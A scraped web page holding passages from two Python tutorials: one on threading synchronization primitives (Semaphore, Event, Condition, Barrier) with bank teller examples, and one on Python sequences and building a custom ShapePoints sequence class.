with a maximum of 2 resources (tellers) teller_semaphore = threading . Semaphore ( 2 ) def now (): return time . strftime ( "%H:%M:%S" ) def serve_customer ( name ): print ( f " { now () } : { name } is waiting for a teller." ) with teller_semaphore : print ( f " { now () } : { name } is being served by a teller." ) # Simulate the time taken for the teller to serve the customer time . sleep ( random . randint ( 1 , 3 )) print ( f " { now () } : { name } is done being served." ) customers = [ "Customer 1" , "Customer 2" , "Customer 3" , "Customer 4" , "Customer 5" , ] with ThreadPoolExecutor ( max_workers = 5 ) as executor : for customer_name in customers : thread = executor . submit ( serve_customer , customer_name ) print ( f " { now () } : All customers have been served." ) In this code snippet, you can see that the Semaphore object, teller_semaphore , has a value of 2 , representing two available tellers. The serve_customer() function simulates a customer’s interaction with a teller and does the following: Prints when the customer starts waiting Uses a with statement to acquire and release the semaphore Simulates service time with a random sleep() call between one and three seconds Prints when the customer is done A timestamp of the operation is added at the beginning of each print() call inside serve_customer() using now() as a helper. You can see that a ThreadPoolExecutor is used to create a pool of five threads, and five calls that represent five customers are made to serve_customer() using these worker threads. This is what the program output looks like now when you run the script: Shell $ python bank_semaphore.py 10:12:28: Customer 1 is waiting for a teller. 10:12:28: Customer 1 is being served by a teller. 10:12:28: Customer 2 is waiting for a teller. 10:12:28: Customer 2 is being served by a teller. 10:12:28: Customer 3 is waiting for a teller. 10:12:28: Customer 4 is waiting for a teller. 10:12:28: Customer 5 is waiting for a teller. 10:12:29: Customer 1 is done being served. 10:12:29: Customer 3 is being served by a teller. 10:12:30: Customer 3 is done being served. 10:12:30: Customer 4 is being served by a teller. 10:12:31: Customer 2 is done being served. 10:12:31: Customer 5 is being served by a teller. 10:12:32: Customer 4 is done being served. 10:12:33: Customer 5 is done being served. 10:12:33: All customers have been served. You’ll notice that initially, five customers are waiting at the bank to be served by tellers. All customers start waiting at the same timestamp because the threads are created at roughly the same time. Because teller_semaphore is acquired inside serve_customer() , the following sequence of events unfolds: At any point in time, there are two active customers being served concurrently by the tellers. You can see this from the events happening at timestamp 10:12:28 . Customers 1 and 2 are chosen for service by the tellers, and the other customers have to wait. Remaining customers keep waiting and are admitted one at a time whenever an existing customer is done being served. You can see that at timestamp 10:12:29 , Customer 1 is done being served. This frees up a teller, and Customer 3, who was waiting, gets the chance to be served. Using Semaphore here ensures that no more than two customers are being served at any given time, which effectively manages the limited teller resources. Using Synchronization Primitives for Communication and Coordination In the previous sections, you learned about the synchronization primitives you can use to limit concurrent access to resources. In this section, you’ll explore synchronization primitives such as event, condition, and barrier objects, which facilitate communication and coordination among multiple threads. Events for Signaling You can use Event objects for signaling, allowing a thread to notify one or more threads about an action. An Event object can be created by instantiating Event from the threading module. Event objects maintain an internal flag that starts as False . You can set this flag to True with .set() and reset it to False with .clear() . Threads can wait for the flag to become True using .wait() , which blocks the thread until the flag is set. You can see an example of an Event object in action in the banking scenario below: Python bank_event.py import threading import time from concurrent.futures import ThreadPoolExecutor bank_open = threading . Event () transactions_open = threading . Event () def serve_customer ( customer_data ): print ( f " { customer_data [ 'name' ] } is waiting for the bank to open." ) bank_open . wait () print ( f " { customer_data [ 'name' ] } entered the bank" ) if customer_data [ "type" ] == "WITHDRAW_MONEY" : print ( f " { customer_data [ 'name' ] } is waiting for transactions to open." ) transactions_open . wait () print ( f " { customer_data [ 'name' ] } is starting their transaction." ) # Simulate the time taken for performing the transaction time . sleep ( 2 ) print ( f " { customer_data [ 'name' ] } completed transaction and exited bank" ) else : # Simulate the time taken for banking time . sleep ( 2 ) print ( f " { customer_data [ 'name' ] } has exited bank" ) customers = [ { "name" : "Customer 1" , "type" : "WITHDRAW_MONEY" }, { "name" : "Customer 2" , "type" : "CHECK_BALANCE" }, { "name" : "Customer 3" , "type" : "WITHDRAW_MONEY" }, { "name" : "Customer 4" , "type" : "WITHDRAW_MONEY" }, ] with ThreadPoolExecutor ( max_workers = 4 ) as executor : for customer_data in customers : executor . submit ( serve_customer , customer_data ) print ( "Bank manager is preparing to open the bank." ) time . sleep ( 2 ) print ( "Bank is now open!" ) bank_open . set () # Signal that the bank is open time . sleep ( 3 ) print ( "Transactions are now open!" ) transactions_open . set () print ( "All customers have completed their transactions." ) In this example, the bank_open and transaction_open Event objects are used to signal the opening of the bank and the commencement of transactions. You’ll notice that two Event objects are created: bank_open : Signals when the bank is open. transactions_open : Signals when transactions are allowed. The serve_customer() function simulates customers’ actions in these ways: It waits for the bank to open using bank_open.wait() . For withdrawal transactions, it waits for transactions to open using transactions_open.wait() . It simulates the transaction or other banking activity with a sleep() call. The program then starts by simulating the bank manager’s actions : Opens the bank by calling bank_open.set() after a delay of two seconds. Opens transactions by calling transactions_open.set() after a delay of three seconds. You’ll also notice four threads representing the actions of the four customers in the customers list. A ThreadPoolExecutor is used here to create four threads representing these customers. Here’s what the output looks like now: Shell $ python bank_event.py Customer 1 is waiting for the bank to open. Customer 2 is waiting for the bank to open. Customer 3 is waiting for the bank to open. Customer 4 is waiting for the bank to open. Bank manager is preparing to open the bank. Bank is now open! Customer 1 entered the bank Customer 4 entered the bank Customer 3 entered the bank Customer 3 is waiting for transactions to open. Customer 1 is waiting for transactions to open. Customer 2 entered the bank Customer 4 is waiting for transactions to open. Customer 2 has exited bank Transactions are now open! Customer 4 is starting their transaction. Customer 3 is starting their transaction. Customer 1 is starting their transaction. Customer 3 completed transaction and exited bank Customer 1 completed transaction and exited bank Customer 4 completed transaction and exited bank All customers have completed their transactions. By examining this output, you can observe the following: Customers wait for the bank to open before entering. Initially, four customers are waiting and only enter the bank after the manager opens it, which is done by bank_open.set() . Customers may enter the bank in any order once the bank is open. Multiple customers can enter the bank simultaneously once it’s open. Customers withdrawing money wait for an additional event, which in this case is for transactions to open. Customers 1, 3, and 4 waited for the transaction_open event to be set. Withdrawal transactions by Customers 1, 3, and 4 start concurrently once they’re allowed. This example illustrates how you can use Event objects to coordinate actions across multiple threads. As you’ve seen, they’re particularly useful in scenarios where you need to signal state changes to multiple waiting threads simultaneously. This provides an efficient way to manage synchronization in your programs. Next, you’ll dive into Condition objects, which provide a powerful mechanism for controlling the flow of your multithreaded programs. Remove ads Conditions for Conditional Waiting A Condition object is built on top of a Lock or RLock object. It supports additional methods that allow threads to wait for certain conditions to be met, and to signal other threads that those conditions have changed. Condition objects are always associated with a lock. The lock argument used in the Condition() constructor accepts either a Lock or RLock object. If this argument is omitted, a new RLock object is created and used as the underlying lock. The various methods associated with Condition objects are shown in the table below: Method Description .acquire() Used to acquire the underlying lock associated with the Condition . It must be called before a thread can wait on or signal a condition. .release() Releases the underlying lock. .wait(timeout=None) Blocks the thread until it’s notified or a specified timeout occurs. This method releases the lock before blocking and reacquires it upon notification or when the timeout expires. It’s used when a thread needs to wait for a specific condition to be true before proceeding. .notify(n=1) Wakes up one of the threads waiting for the condition if any are waiting. If multiple threads are waiting, the method selects one to notify at random. .notify_all() Wakes up all threads waiting for the condition. It’s the broadest way to handle notifications, ensuring that all waiting threads are notified. It’s useful when a change affects all waiting threads or when all threads need to recheck the condition they’re waiting on. These Condition methods can be used to coordinate across threads, allowing you to effectively manage the flow of execution in a multithreaded environment. By using these methods, you can ensure that threads wait for specific conditions to be met before proceeding, notify one or multiple threads when a condition has changed, and maintain control over the sequence and timing of thread operations. Similar to locks, Condition objects support the context manager protocol. In the example below, you’ll see a Condition object, customer_available_condition , that notifies the bank teller of the presence of a new customer: Python bank_condition.py import random import threading import time from concurrent.futures import ThreadPoolExecutor customer_available_condition = threading . Condition () # Customers waiting to be served by the Teller customer_queue = [] def now (): return time . strftime ( "%H:%M:%S" ) def serve_customers (): while True : with customer_available_condition : # Wait for a customer to arrive while not customer_queue : print ( f " { now () } : Teller is waiting for a customer." ) customer_available_condition . wait () # Serve the customer customer = customer_queue . pop ( 0 ) print ( f " { now () } : Teller is serving { customer } ." ) # Simulate the time taken to serve the customer time . sleep ( random . randint ( 1 , 5 )) print ( f " { now () } : Teller has finished serving { customer } ." ) def add_customer_to_queue ( name ): with customer_available_condition : print ( f " { now () } : { name } has arrived at the bank." ) customer_queue . append ( name ) customer_available_condition . notify () customer_names = [ "Customer 1" , "Customer 2" , "Customer 3" , "Customer 4" , "Customer 5" , ] with ThreadPoolExecutor ( max_workers = 6 ) as executor : teller_thread = executor . submit ( serve_customers ) for name in customer_names : # Simulate customers arriving at random intervals time . sleep ( random . randint ( 1 , 3 )) executor . submit ( add_customer_to_queue , name ) In this example, you can see that the Condition object customer_available_condition acts as both a lock and a way to communicate between threads. It’s used to coordinate between the teller and customers. Here, the customer_queue is the shared resource protected by the condition. The Condition object is used with the with statement to ensure that the Condition object’s lock is properly acquired and released. Notice how serve_customers() runs in an infinite loop and performs the following functions: Waits for customers using customer_available_condition.wait() . Uses the .wait() method and releases the Condition object’s lock. Because of this, add_customer_to_queue() can acquire the lock when a new customer arrives. Simulates the action of the teller by serving customers when they arrive with a random delay representing the service time. The add_customer_to_queue() function adds the customer to the queue and notifies the teller of a new customer using .notify() . You can see that the script creates a ThreadPoolExecutor with a maximum of six workers and calls serve_customers() from one thread. Then, it calls add_customer_to_queue() from five threads, representing five different customers in the customer_names list. This script generates the following output: Shell $ python bank_condition.py 10:15:08: Teller is waiting for a customer. 10:15:09: Customer 1 has arrived at the bank. 10:15:09: Teller is serving Customer 1. 10:15:11: Customer 2 has arrived at the bank. 10:15:12: Teller has finished serving Customer 1. 10:15:12: Teller is serving Customer 2. 10:15:13: Teller has finished serving Customer 2. 10:15:13: Teller is waiting for a customer. 10:15:14: Customer 3 has arrived at the bank. 10:15:14: Teller is serving Customer 3. 10:15:15: Customer 4 has arrived at the bank. 10:15:17: Customer 5 has arrived at the bank. 10:15:18: Teller has finished serving Customer 3. 10:15:18: Teller is serving Customer 4. 10:15:22: Teller has finished serving Customer 4. 10:15:22: Teller is serving Customer 5. 10:15:25: Teller has finished serving Customer 5. 10:15:25: Teller is waiting for a customer. From this output, you can observe the following: The teller alternates between serving customers and waiting for new ones. When a customer arrives while the teller is waiting, the teller immediately starts serving them. You can see that at timestamp 10:15:08 , the teller is waiting for a customer. As soon as Customer 1 arrives at 10:15:09 , the teller starts serving the customer. When a customer arrives while the teller is busy, as with Customer 2, 4 and 5, they wait in the queue until the teller is free. To summarize, using Condition here has allowed for: The teller to efficiently wait for customers without busy-waiting Customers to notify the teller of their arrival Synchronization of access to the shared customer queue Condition is commonly used in producer-consumer scenarios . In this case, the customers are producers adding to the queue, and the teller is a consumer taking from the queue. Now that you’ve seen how to use conditions to facilitate communication between producers and consumers, you’re ready to explore how to synchronize a fixed number of threads. Remove ads Barriers for Coordination A barrier is a synchronization primitive that allows a group of threads to wait for each other before continuing execution. You can use Barrier objects to block program execution until a specified number of threads have reached the barrier point. Barrier in Python’s threading module has the following signature: Python Syntax Barrier ( parties , action = None , timeout = None ) It has one required and two optional arguments: parties specifies the number of threads of the Barrier object. The .wait() method waits for this number of threads to reach the barrier point before proceeding. action is an optional callable that will be called by one of the threads when it’s released. timeout optionally specifies the timeout value for the .wait() method. A Barrier object can be used in a banking scenario when you want to accept all customers into a bank only after all the bank telle | 2026-01-13T08:49:27 |
https://realpython.com/python-sequences/ | Python Sequences: A Comprehensive Guide – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In — FREE Email Series — 🐍 Python Tricks 💌 Get Python Tricks » 🔒 No spam. Unsubscribe any time. Browse Topics Guided Learning Paths Basics Intermediate Advanced ai algorithms api best-practices career community databases data-science data-structures data-viz devops django docker editors flask front-end gamedev gui machine-learning news numpy projects python stdlib testing tools web-dev web-scraping Table of Contents Building Blocks of Python Sequences Characteristics of Python Sequences Special Methods Associated With Python Sequences Slicing in Python Sequences Concatenating Sequences Comparing Values With Sequences Creating User-Defined Python Sequences Making the Class Indexable Using .__getitem__() Making the Class Sized Using .__len__() Making the Class Iterable Using .__iter__() Using the Abstract Base Class collections.abc.Sequence The .index() and .count() Methods in Sequences The Container and Reversible Features for Sequences Creating Immutable and Mutable Sequences Requirements for Defining a User-Defined Mutable Sequence Additional Methods Associated With Mutable Sequences Conclusion Mark as Completed Share Python Sequences: A Comprehensive Guide by Stephen Gruppetta Reading time estimate 48m intermediate python Mark as Completed Share Table of Contents Building Blocks of Python Sequences Characteristics of Python Sequences Special Methods Associated With Python Sequences Slicing in Python Sequences Concatenating Sequences Comparing Values With Sequences Creating User-Defined Python Sequences Making the Class Indexable Using .__getitem__() Making the Class Sized Using .__len__() Making the Class Iterable Using .__iter__() Using the Abstract Base Class collections.abc.Sequence The .index() and .count() Methods in Sequences The Container and Reversible Features for Sequences Creating Immutable and Mutable Sequences Requirements for Defining a User-Defined Mutable Sequence Additional Methods Associated With Mutable Sequences Conclusion Remove ads A phrase you’ll often hear is that everything in Python is an object, and every object has a type. This points to the importance of data types in Python. However, often what an object can do is more important than what it is. So, it’s useful to discuss categories of data types and one of the main categories is Python’s sequence . In this tutorial, you’ll learn about: Basic characteristics of a sequence Operations that are common to most sequences Special methods associated with sequences Abstract base classes Sequence and MutableSequence User-defined mutable and immutable sequences and how to create them This tutorial assumes that you’re familiar with Python’s built-in data types and with the basics of object-oriented programming . Get Your Code: Click here to download the free sample code that you’ll use to learn about Python sequences in this comprehensive guide. Take the Quiz: Test your knowledge with our interactive “Python Sequences: A Comprehensive Guide” quiz. You’ll receive a score upon completion to help you track your learning progress: Interactive Quiz Python Sequences: A Comprehensive Guide In this quiz, you'll test your understanding of sequences in Python. You'll revisit the basic characteristics of a sequence, operations common to most sequences, special methods associated with sequences, and how to create user-defined mutable and immutable sequences. Building Blocks of Python Sequences It’s likely you used a Python sequence the last time you wrote Python code, even if you don’t know it. The term sequence doesn’t refer to a specific data type but to a category of data types that share common characteristics. Remove ads Characteristics of Python Sequences A sequence is a data structure that contains items arranged in order, and you can access each item using an integer index that represents its position in the sequence. You can always find the length of a sequence. Here are some examples of sequences from Python’s basic built-in data types: Python >>> # List >>> countries = [ "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" ] >>> for country in countries : ... print ( country ) ... USA Canada UK Norway Malta India >>> len ( countries ) 6 >>> countries [ 0 ] 'USA' >>> # Tuple >>> countries = "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" >>> for country in countries : ... print ( country ) ... USA Canada UK Norway Malta India >>> len ( countries ) 6 >>> countries [ 0 ] 'USA' >>> # Strings >>> country = "India" >>> for letter in country : ... print ( letter ) ... I n d i a >>> len ( country ) 5 >>> country [ 0 ] 'I' Lists, tuples, and strings are among Python’s most basic data types. Even though they’re different types with distinct characteristics, they have some common traits. You can summarize the characteristics that define a Python sequence as follows: A sequence is an iterable , which means you can iterate through it. A sequence has a length, which means you can pass it to len() to get its number of elements. An element of a sequence can be accessed based on its position in the sequence using an integer index. You can use the square bracket notation to index a sequence. There are other built-in data types in Python that also have all of these characteristics. One of these is the range object : Python >>> numbers = range ( 5 , 11 ) >>> type ( numbers ) <class 'range'> >>> len ( numbers ) 6 >>> numbers [ 0 ] 5 >>> numbers [ - 1 ] 10 >>> for number in numbers : ... print ( number ) ... 5 6 7 8 9 10 You can iterate through a range object, which makes it iterable. You can also find its length using len() and fetch items through indexing. Therefore, a range object is also a sequence. You can also verify that bytes and bytearray objects , two of Python’s built-in data structures, are also sequences. Both are sequences of integers. A bytes sequence is immutable, while a bytearray is mutable. Special Methods Associated With Python Sequences In Python, the key characteristics of a data type are determined using special methods , which are defined in the class definitions. The special methods associated with the properties of sequences are the following: .__iter__() : This special method makes an object iterable using Python’s preferred iteration protocol. However, it’s possible for a class without an .__iter__() special method to create iterable objects if the class has a .__getitem__() special method that supports iteration. Most sequences have an .__iter__() special method, but it’s possible to have a sequence without this method. .__len__() : This special method defines the length of an object, which is normally the number of elements contained within it. The len() built-in function calls an object’s .__len__() special method. Every sequence has this special method. .__getitem__() : This special method enables you to access an item from a sequence. The square brackets notation can be used to fetch an item. The expression countries[0] is equivalent to countries.__getitem__(0) . For sequences, .__getitem__() should accept integer arguments starting from zero. Every sequence has this special method. This method can also ensure an object is iterable if the .__iter__() special method is missing. Therefore, all sequences have a .__len__() and a .__getitem__() special method and most also have .__iter__() . However, it’s not sufficient for an object to have these special methods to be a sequence. For example, many mappings also have these three methods but mappings aren’t sequences. A dictionary is an example of a mapping. You can find the length of a dictionary and iterate through its keys using a for loop or other iteration techniques. You can also fetch an item from a dictionary using the square brackets notation. This characteristic is defined by .__getitem__() . However, .__getitem__() needs arguments that are dictionary keys and returns their matching values. You can’t index a dictionary using integers that refer to an item’s position in the dictionary. Therefore, dictionaries are not sequences. Slicing in Python Sequences All sequences support indexing using an integer that represents the item’s position within the sequence. This requirement is part of the definition of a Python sequence. Most sequences also support slicing , which is often closely associated with indexing. You can slice most sequences to access a subset of the elements. All of the sequences you’ve encountered so far can be sliced: Python >>> countries = [ "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" ] >>> countries [ 1 : 4 ] ['Canada', 'UK', 'Norway'] >>> countries = "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" >>> countries [ 1 : 4 ] ('Canada', 'UK', 'Norway') >>> country = "India" >>> country [ 1 : 4 ] 'ndi' >>> numbers = range ( 5 , 11 ) >>> numbers [ 1 : 4 ] range(6, 9) In all four examples, you extract the items from index 1 up to but excluding index 4. The result is a data structure of the same type as the original one containing the subset of elements. Slicing also depends on the .__getitem__() special method in these data types and other sequences. Typically, .__getitem__() can accept either an integer or a slice object. The special method’s behavior depends on whether it’s passed an integer or a slice. However, it’s possible to have sequences that don’t support slicing. The deque data type in Python’s collections module is an example of this. First, you can confirm that a deque is a sequence: Python >>> from collections import deque >>> countries = deque ([ "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" ]) >>> for country in countries : ... print ( country ) ... USA Canada UK Norway Malta India >>> len ( countries ) 6 >>> countries [ 0 ] 'USA' You can iterate through a deque , get its length, and index it. Therefore, it’s a sequence but you can’t slice a deque : Python >>> countries [ 1 : 4 ] Traceback (most recent call last): ... TypeError : sequence index must be integer, not 'slice' The TypeError shows that a deque can only be indexed using an integer, and a slice can’t be used in the square brackets. Deques are optimized to provide efficient access at either the beginning or the end of the data structure. Therefore, slicing would be inefficient and generally not the intended use for deques. Although most sequences support slicing, you shouldn’t assume that all of them do. Remove ads Concatenating Sequences Most sequences can be added to another sequence of the same type. For example, you can combine two lists, or you can add a tuple to another tuple: Python >>> [ 1 , 2 , 3 ] + [ 4 , 5 , 6 ] [1, 2, 3, 4, 5, 6] >>> ( 1 , 2 , 3 ) + ( 4 , 5 , 6 ) (1, 2, 3, 4, 5, 6) The output is a sequence of the same type as the original ones. However, in general, you can’t add sequences of different types: Python >>> [ 1 , 2 , 3 ] + ( 4 , 5 , 6 ) Traceback (most recent call last): ... TypeError : can only concatenate list (not "tuple") to list You get an error when you try to add a list and a tuple. Many sequences can be concatenated in this way, but not all of them. Here’s an example of a sequence that can’t be concatenated: Python >>> range ( 10 ) + range ( 10 , 20 , 2 ) Traceback (most recent call last): ... TypeError : unsupported operand type(s) for +: 'range' and 'range' You learned earlier that a range object is a sequence. However, it requires items that follow specific patterns that can be represented by a start , stop , and step value. For this reason, a range object can only represent a series of numbers with regular increments between them. In the example above, the first range object represents the numbers from one to nine. The second range object represents the numbers from ten to nineteen but in steps of two. Therefore, you can’t represent the concatenation of these two series using a range object, which must be defined by its start , stop , and step values. Another difference in behavior between sequences is highlighted when using the augmented assignment operators , such as += , on mutable and immutable data types: Python >>> numbers_list = [ 1 , 2 , 3 ] >>> id ( numbers_list ) 4331793920 >>> numbers_list += [ 4 , 5 , 6 ] >>> numbers_list [1, 2, 3, 4, 5, 6] >>> id ( numbers_list ) 4331793920 The extended list is the same object as the original numbers_list . The value returned by the built-in id() function is the same before and after the augmented assignment operation. However, the behavior is different when using tuples: Python >>> numbers_tuple = 1 , 2 , 3 >>> id ( numbers_tuple ) 4331564032 >>> numbers_tuple += 4 , 5 , 6 >>> numbers_tuple (1, 2, 3, 4, 5, 6) >>> # This is a new tuple object >>> id ( numbers_tuple ) 4331414688 The augmented addition assignment applied to a list, which is a mutable sequence, extends the same object with the new values. However, tuples are immutable, which leads the += operator to create a new object. Comparing Values With Sequences Built-in sequences support value comparisons such as equality and greater than or less than comparisons. However, only sequences of the same type can be compared: Python >>> countries_list = [ "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" ] >>> countries_tuple = "USA" , "Canada" , "UK" , "Norway" , "Malta" , "India" >>> countries_list == countries_tuple False >>> countries_list == countries_list True When two sequences of the same type are compared to check if one is greater than or less than the other, the first non-equal value determines the outcome: Python >>> numbers = [ 1 , 2 , 3 , 4 , 5 ] >>> more_numbers = [ 1 , 2 , 2 , 10 , 20 ] >>> numbers > more_numbers True Both lists have the same first two values. However, the third item in numbers is larger than the third item in more_numbers . Therefore, numbers is greater than more_numbers even though the remaining integers in more_numbers are larger. If the items in a sequence are equal to items with matching indices in another sequence, but one sequence has more items, the sequence with more items is considered greater: Python >>> numbers = [ 1 , 2 , 3 ] >>> more_numbers = [ 1 , 2 ] >>> numbers > more_numbers True >>> numbers = [ 1 , 0 , 3 ] >>> numbers > more_numbers False However, in the second example, numbers[1] is 0 , which is smaller than more_numbers[1] . As a result, more_numbers is greater than numbers . Remove ads Creating User-Defined Python Sequences You’ve learned about features that define sequences, including the special methods they have in common. You can also use this knowledge to create user-defined classes that are sequences. In this section, you’ll define a class called ShapePoints , which contains a number of points that define the vertices of a shape. You can create a file named shape.py : Python shape.py class ShapePoints : def __init__ ( self , points ): self . points = list ( points ) The class’s .__init__() includes a points parameter. You pass a sequence of coordinate pairs when you create a ShapePoints object, such as a list of tuples. You then cast the input sequence as a new list object to avoid some mutability issues and assign it to the data attribute .points . Now you can create instances of this new class and explore its features through a REPL session: Python >>> from shape import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle . points [(100, 100), (-200, 100), (-200, -200)] You import the class ShapePoints and create an instance with three points. The shape represents a triangle, and the data attribute .points contains the three tuples with the points’ coordinates. You can make a few more additions to the basic setup for this class before you start exploring its sequence features. This class is used for closed shapes, which means the last point should be identical to the first. You can ensure this is the case by adding an extra point that’s equal to the first if it doesn’t already exist. You also add a docstring with a basic description of the class: Python shape.py class ShapePoints : """ A ShapePoints object represents a collection of points Attributes: - points: sequence of points, where each point is a tuple (x, y) """ def __init__ ( self , points ): self . points = list ( points ) if self . points [ 0 ] != self . points [ - 1 ]: self . points . append ( self . points [ 0 ]) A ShapePoints object is always closed. Therefore, you add the first point to the end of the list .points if the first and last points aren’t already equal. This step ensures the first and last vertices are the same. As you explore this class in this tutorial, you’ll make the necessary changes to keep the shape closed even when you modify the points in the shape. Next, you add a .__repr__() special method to define a string representation for the class: Python shape.py class ShapePoints : """ A ShapePoints object represents a collection of points Attributes: - points: sequence of points, where each point is a tuple (x, y) """ def __init__ ( self , points ): self . points = list ( points ) if self . points [ 0 ] != self . points [ - 1 ]: self . points . append ( self . points [ 0 ]) def __repr__ ( self ): return f "ShapePoints( { self . points } )" The .__repr__() special method ensures a meaningful output in all situations when you display the object. It’s always a good idea to include this special method in user-defined classes. Note: You’ll need to start a new REPL session each time you make changes to the class definition in shapes.py . You can’t write the import statement again in the same REPL session, as this won’t import the updated class. It’s also possible to use importlib from the standard library to reload a module , but it’s easier to start a new REPL. In a new REPL session, you can create the ShapePoints object again and display the object directly instead of its .points attribute: Python >>> from shape import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle ShapePoints([(100, 100), (-200, 100), (-200, -200), (100, 100)]) The output shows the string representation for the ShapePoints object, which includes four points since it’s a closed shape and the first point is repeated at the end. Say you would like a ShapePoints object to be a sequence. However, it doesn’t meet any of the three requirements at the moment. You can try to iterate through triangle : Python >>> for point in triangle : ... print ( point ) ... Traceback (most recent call last): ... TypeError : 'ShapePoints' object is not iterable When you try to iterate through triangle , Python raises an exception since the object is not iterable. You can try to find the length of the object: Python >>> len ( triangle ) Traceback (most recent call last): ... TypeError : object of type 'ShapePoints' has no len() Passing a ShapePoints object to len() also doesn’t work and leads to another TypeError . The error states that the object has no length. Finally, you can attempt to index the object to retrieve one of its elements: Python >>> triangle [ 0 ] Traceback (most recent call last): ... TypeError : 'ShapePoints' object is not subscriptable Attempting to index triangle completes the trio of TypeErrors . The error now states that a ShapePoints object is not subscriptable, which means you can’t use the square brackets notation to access values within it. Remove ads Making the Class Indexable Using .__getitem__() You can add the .__getitem__() special method to the class in shape.py to make it subscriptable. However, if you want a ShapePoints object to be a sequence, this special method needs to accept integers and fetch items based on their position: Python shape.py class ShapePoints : # ... def __getitem__ ( self , index ): return self . points [ index ] You rely on the fact that the .points data attribute is a list, which also makes it a sequence. Now you can check whether indexing works in a new REPL session: Python >>> from shape import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> triangle [ 0 ] (100, 100) A ShapePoints object is now indexable since you can use an integer to fetch an item based on its position. Since you’re using the sequence features of the list data type in .points , you can also slice a ShapePoints object: Python >>> triangle [: 2 ] [(100, 100), (-200, 100)] This notation returns a slice of the ShapePoints object, which in this case is the slice that includes the first and second elements of triangle . Adding the .__getitem__() special method makes a ShapePoints object indexable. However, it also enables other features that use this method. For example, you can now iterate through the ShapePoints object: Python >>> for point in triangle : ... print ( point ) ... (100, 100) (-200, 100) (-200, -200) (100, 100) This code no longer raises a TypeError , as it did earlier in this tutorial. Instead, it prints the tuples with the shape’s points, including the additional final point that’s equal to the first point since the shape is closed. Later in this tutorial, you’ll update the class to make it iterable using another special method, .__iter__() . Using .__iter__() is the preferred option to make objects iterable in modern Python. You can check whether an element is a member of triangle , and you can also sort the items in the shape: Python >>> ( 100 , 100 ) in triangle True >>> sorted ( triangle ) [(-200, -200), (-200, 100), (100, 100), (100, 100)] The code outputs True to show that (100, 100) is a member of the ShapePoints object. It also outputs a list with the points sorted following the default sorting rules for tuples. Note that sorted() returns a list of tuples and not a ShapePoints object. Adding .__getitem__() adds several features to the ShapePoints class. However, there are other special methods dedicated to these features, which you’ll explore later. You still can’t get the length of a ShapePoints object. In the next section, you’ll add another special method to define the length of an object. Making the Class Sized Using .__len__() A sized object is one that has a defined length, which you can access using the built-in len() function. To make a ShapePoints object sized, you can add the .__len__() special method to the class definition. This method must return an integer. You’ll need to decide whether you want the length of the ShapePoints object to include all the values in .points or whether you want to exclude the final pair of coordinates from the count so that the length represents the number of vertices. This version defines the length as the number of points in the shape: Python shape.py class ShapePoints : # ... def __len__ ( self ): return len ( self . points ) - 1 Since .points is a list and has a length, you subtract one from the length of the list to account for the repeated point at the end of .points . You can now call len(triangle) and get the number of points in the shape. Remember, you’ll need to start a new REPL session to explore the updated class: Python >>> from shape import ShapePoints >>> triangle = ShapePoints ([( 100 , 100 ), ( - 200 , 100 ), ( - 200 , - 200 )]) >>> len ( triangle ) 3 The .__len__() special method also provides the object with a definition of truthiness. You can convert any object to a True or False value using the built-in bool() . By default, an object is truthy, which means it’s converted to True when passed to bool() . However, a sized object is truthy if it has a non-zero length and falsy if it’s empty. You can convert triangle into a Boolean using bool() : Python >>> bool ( triangle ) True To confirm that the object follows the truthiness rules for sequences, you’ll need to create an empty ShapePoints object: Python >>> another_shape = ShapePoints ([]) Traceback (most recent call last): ... if self . points [ 0 ] != self . points [ - 1 ]: ~~~~~~~~~~~^^^ IndexError : list index out of range This step highlights a bug in your code that occurs when there are no points in the shape. Since the shape is closed, you duplicate the first point to place it at the end of the sequence. However, points[0] raises an error when the list is empty. You can update the if statement in the class’s .__init__() method to account for this case: Python shape.py class ShapePoints : # ... def __init__ ( self , points ): self . points = list ( points ) if points and self . points [ 0 ] != self . points [ - 1 ]: self . points . append ( self . points [ 0 ]) # ... In the expression in the if statement, if points is empty, it evaluates as falsy. The and expression is evaluated lazily, which means that if points is falsy, the rest of the and expression is ignored and won’t raise an exception. You can now create an empty ShapePoints object in a new REPL to confirm that an empty object is falsy: Python >>> from shape import ShapePoints >>> another_shape = ShapePoints ([]) >>> bool ( another_shape ) Traceback (most recent call last): ... ValueError : __len__() should return >= 0 However, this raises yet another exception. The .__len__() special method subtracts one from the length of .points , but the value returned by .__len__() can’t be negative since a negative length is invalid. You can update .__len__() to account for this scenario: Python shape.py class ShapePoints : # ... def __len__ ( self ): if self . points : return len ( self . points ) - 1 return 0 If .points is not empty, you subtract the last value and return the result. If there are no values in .points , you return zero. A new REPL session confirms that an empty ShapePoints object is falsy: Python >>> from shape import ShapePoints >>> another_shape = ShapePoints ([]) >>> bool ( another_shape ) False You can comment out the .__len__() definition in shape.py and run the same code in a new REPL. Without the .__len__() special method, the object is always truthy. Remove ads Making the Class Iterable Using .__iter__() The ShapePoints object is already a sequence since it’s iterable, indexable, and has a length. However, it’s preferable to use the .__iter__() iteration protocol to make an object iterable since this offers more compatibility across different types of iteration and can provide more efficient iteration. You can define this special method and rely on the list in .points to provide the iteration: Python shape.py class ShapePoints : # ... def __iter__ ( self ): return iter ( self . points ) The .__iter__() special method must return an iterator, which is used in iteration protocols such as the for loop. You create an iterator from the list .points using the built-in iter() function. Although adding .__iter__() is not necessary to ensure a ShapePoints object is a sequence, most iterables implement this special method. You can visualize the shape with the help of the turtle module, which is the simplest way to display graphics using Python’s standard library. Now you can create a 